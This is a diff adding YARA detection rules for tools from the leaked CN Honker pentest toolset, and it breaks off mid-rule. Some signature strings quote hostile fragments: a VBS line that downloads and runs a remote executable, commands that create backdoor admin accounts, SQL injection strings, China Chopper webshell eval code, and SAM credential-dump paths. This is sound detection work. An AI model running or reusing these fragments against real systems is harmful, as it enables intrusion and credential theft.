+rule CN_Honker_Oracle_v1_0_Oracle {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		id = "0cebede9-f4ff-5efb-98bc-55df0ad656a3"
+	strings:
+		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3455KB and all of them
+}
+
+rule CN_Honker_Interception {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
+		id = "40d350e5-c6af-58e2-a1d8-f9516af5f869"
+	strings:
+		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "WinlogonHackEx " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
+		id = "994ad7e9-2019-54b3-84e6-2762a700c939"
+	strings:
+		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "CryptGenRandom" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 581 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 395KB and all of them
+}
+
+rule CN_Honker_windows_exp {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "04334c396b165db6e18e9b76094991d681e6c993"
+		id = "148900d0-cf62-5cb0-adbc-52fa8ce8832e"
+	strings:
+		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "OH,Sry.Too long command." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_safe3wvs_cgiscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
+		id = "a9f7a195-deb8-5887-bc55-d1b0cac43182"
+	strings:
+		$s2 = "httpclient.exe" fullword wide
+		$s3 = "www.safe3.com.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 357KB and all of them
+}
+
+rule CN_Honker_pr_debug {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+		id = "6d759818-b762-56f4-8475-82a7d18a659c"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii /* PEStudio Blacklist: strings */
+		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
+		id = "d41cbed5-a6e3-5165-a8c3-e0375c1ed75d"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2077KB and all of them
+}
+
+rule CN_Honker_MatriXay1073 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		score = 70
+		hash = "fef951e47524f827c7698f4508ba9551359578a5"
+		id = "23e73b89-f60e-5bc3-8974-15be16d7c408"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" ascii /* PEStudio Blacklist: strings */
+		$s3 = "getalluserpasswordhash" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9100KB and all of them
+}
+
+rule CN_Honker_Sword1_5 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+		id = "832e4998-64fc-5f34-a46d-aeefde0ee763"
+	strings:
+		$s1 = "http://www.md5.com.cn" fullword wide
+		$s2 = "ListBox_Command" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\Set.ini" wide
+		$s4 = "OpenFileDialog1" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and all of them
+}
+
+rule CN_Honker_Havij_Havij {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
+		id = "b3640a32-b546-58c9-abb1-3da60dc6633c"
+	strings:
+		$s1 = "User-Agent: %Inject_Here%" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_exp_ms11011 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+		id = "fc092166-73cd-58f6-b034-a2fe2c5fb859"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii /* PEStudio Blacklist: strings */
+		$s1 = "OS not supported." fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ".Rich5" fullword ascii
+		$s3 = "Not supported." fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+		$s5 = "cmd.exe" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 120 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_DLL_passive_privilege_escalation_ws2help {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
+		id = "85a07bb7-2856-56f0-bd15-e020bb2a7692"
+	strings:
+		$s0 = "PassMinDll.dll" fullword ascii
+		$s1 = "\\ws2help.dll" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
+		id = "12870766-2b85-522d-9ad8-abba2786caaf"
+	strings:
+		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Do you want to cancel the file download?" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Downloading: %s" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 381KB and all of them
+}
+
+rule CN_Honker_AspxClient {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		score = 70
+		hash = "67569a89128f503a459eab3daa2032261507f2d2"
+		id = "7e38365c-ffe5-5fcd-8bd6-948d255d6e10"
+	strings:
+		$s1 = "\\tools\\hashq\\hashq.exe" wide
+		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" ascii
+		$s3 = "\\myshell.mdb" wide /* PEStudio Blacklist: strings */
+		$s4 = "injectfile" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 3 of them
+}
+
+rule CN_Honker_Fckeditor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4b16ae12c204f64265acef872526b27111b68820"
+		id = "eb8767cb-b081-5c37-b7ad-57a0de047462"
+	strings:
+		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = "Fckeditor.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1340KB and all of them
+}
+
+rule CN_Honker_Codeeer_Explorer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
+		id = "d4a88ae7-c0b2-57d2-a070-3dd748a30a3a"
+	strings:
+		$s2 = "Codeeer Explorer.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s12 = "webBrowser1_ProgressChanged" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 470KB and all of them
+}
+
+rule CN_Honker_SwordHonkerEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
+		id = "5688fa03-bcb0-545d-9fdf-7ab48a389424"
+	strings:
+		$s0 = "\\bin\\systemini\\MyPort.ini" wide /* PEStudio Blacklist: strings */
+		$s1 = "PortThread=200 //" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = " Port Open -> " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 375KB and all of them
+}
+
+rule CN_Honker_HASH_PwDump7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
+		id = "d61a1ac3-7c8a-5de2-a5a8-2a043b73f3b3"
+	strings:
+		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Users key!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "NO PASSWORD*********************:" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Unable to dump file %S" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule CN_Honker_ChinaChopper {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
+		id = "9f7fbaac-65b5-5162-87d1-96ccd9711adb"
+	strings:
+		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide /* PEStudio Blacklist: strings */
+		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule CN_Honker_dedecms5_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
+		id = "b037862d-2821-5e96-996b-13ab241575ba"
+	strings:
+		$s1 = "/data/admin/ver.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "SkinH_EL.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 830KB and all of them
+}
+
+rule CN_Honker_Alien_ee {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
+		id = "03540f82-6662-55e3-97f8-38776271f08b"
+	strings:
+		$s1 = "GetIIS UserName and PassWord." fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Read IIS ID For FreeHost." fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_smsniff_smsniff {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
+		id = "fef242d5-b274-5217-a5d1-1a6ec38d0fdd"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s5 = "SmartSniff" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_Happy_Happy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		score = 70
+		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
+		id = "6e6c806d-e784-507f-b327-3b9f2510422b"
+	strings:
+		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "domainscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "http://www.happysec.com/" wide
+		$s4 = "cmdshell" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 655KB and 2 of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
+		id = "7513a513-e8a3-58a8-8dd5-512ba33ff013"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
+		$s3 = "SkinH_EL.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Honker_NetFuke_NetFuke {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
+		id = "833da5c7-e562-50e9-a2a9-54c36b0d1f61"
+	strings:
+		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
+		$s2 = "netfuke_%s.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1840KB and all of them
+}
+
+rule CN_Honker_ManualInjection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e83d427f44783088a84e9c231c6816c214434526"
+		id = "f0899003-824f-56ed-b653-9f7a77b9ec6a"
+	strings:
+		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
+		id = "ddd328a8-7ad8-5b26-9deb-3e5da801cd1b"
+	strings:
+		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
+		$s3 = "cmdpath" fullword ascii
+		$s4 = "Get4Bytes" fullword ascii
+		$s5 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_termsrvhack {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
+		id = "4fd582a1-3c6d-57a1-bba0-f775bb61ef00"
+	strings:
+		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide /* PEStudio Blacklist: strings */
+		$s6 = "%s\\%s\\%d\\%d" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1052KB and all of them
+}
+
+rule CN_Honker_IIS6_iis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
+		id = "f5d49cbd-1aec-5126-ab5d-83e485fa6869"
+	strings:
+		$s0 = "GetMod;ul" fullword ascii
+		$s1 = "excjpb" fullword ascii
+		$s2 = "LEAUT1" fullword ascii
+		$s3 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 410 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_struts2_catbox {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
+		id = "24df7a11-5ec4-5e7b-86f6-6195ca01b8f9"
+	strings:
+		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
+		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8160KB and all of them
+}
+
+rule CN_Honker_getlsasrvaddr {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		score = 70
+		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
+		id = "fa0c0376-c5c3-5b48-b03e-86cefb547479"
+	strings:
+		$s8 = "pingme.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = ".\\lsasrv.pdb" ascii
+		$s20 = "Addresses Found: " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_ms10048_x64 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+		id = "b65b0bad-d74c-5e7a-a613-69ef80585c23"
+	strings:
+		$s1 = "[ ] Creating evil window" fullword ascii
+		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule CN_Honker_LogCleaner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
+		id = "63ec5e47-9f3e-547a-bbff-cac8b27ac8f7"
+	strings:
+		$s3 = ".exe <ip> [(path]" fullword ascii
+		$s4 = "LogCleaner v" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Honker_shell_brute_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
+		id = "80fd0c9f-0ed9-5308-ac72-65b9b3b47ed1"
+	strings:
+		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_hxdef100 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
+		id = "3b931752-85ae-52d0-9deb-1a1b03b39e32"
+	strings:
+		$s6 = "BACKDOORSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "%tmpdir%" fullword ascii
+		$s16 = "%cmddir%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_Arp_EMP_v1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+		id = "03782e94-4fac-529f-b235-19cdb124d53b"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_GetWebShell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
+		id = "919883f4-af66-5d07-ad41-8cba3e049396"
+	strings:
+		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide /* PEStudio Blacklist: strings */
+		$s14 = "net user admin$ hack /add" fullword wide /* PEStudio Blacklist: strings */
+		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and 1 of them
+}
+
+rule CN_Honker_Cracker_SHELL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
